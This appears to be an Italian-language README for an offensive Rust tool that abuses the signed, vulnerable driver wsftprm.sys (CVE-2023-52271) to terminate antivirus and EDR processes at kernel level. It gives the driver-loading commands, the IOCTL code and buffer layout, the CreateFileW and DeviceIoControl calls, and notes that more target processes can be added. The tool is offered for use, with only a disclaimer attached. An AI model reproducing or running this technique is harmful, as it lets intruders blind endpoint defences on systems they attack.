
Terminazione dei processi AV/EDR sfruttando un driver vulnerabile (BYOVD)
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
Questo progetto dimostra come un driver legittimo e firmato può essere armato per ottenere accesso a livello kernel.
wsftprm.sys, firmato da TPZ SOLUCOES DIGITAIS LTDA, e precedentemente esposto a una vulnerabilità di escalation dei privilegi locale divulgata pubblicamente come CVE-2023-52271, ma ancora inspiegabilmente NON nella blocklist dei driver di Microsoft!! 🤫🤫
La vulnerabilità viene innescata tramite il codice IOCTL 0x22201C con un buffer di 1036 byte in cui i primi 4 byte contengono l'ID del processo target come DWORD. Il driver vulnerabile, ricevendo questo IOCTL dannoso tramite DeviceIoControl, richiama la funzione importata ZwTerminateProcess, concedendo a qualsiasi applicazione in modalità utente la capacità di terminare i processi a livello kernel.
Qualsiasi attore malintenzionato sano di mente darà priorità a questa capacità per terminare i processi critici di Antivirus (AV) e Endpoint Detection and Response (EDR).
Avvia cmd.exe con privilegi di Amministratore e registra un servizio driver kernel con tipo "kernel" e binPath che punta alla posizione del driver vulnerabile.
> sc create MalDriver binPath= <path> type= Kernel`
> sc start MalDriver
Una volta caricato, il driver crea un link simbolico accessibile in modalità utente come \.\Warsaw_PM. Possiamo usarlo per ottenere un handle al dispositivo del driver tramite la chiamata API CreateFileW.
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
Per inviare gli IOCTL dannosi useremo DeviceIoControl con il codice 0x22201C e un buffer contenente un PID nei primi 4 byte
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
Cargo build --release per generare il binario.
Puoi aggiungere ulteriori processi alla lista dei target da terminare.
Sei responsabile di assicurarti di avere la giusta autorizzazione prima di utilizzare questo strumento. L'autore declina ogni responsabilità per un uso improprio.
Contributi e suggerimenti sono i benvenuti! Se hai idee, miglioramenti o desideri collaborare, sentiti libero di contattarmi a: [email protected]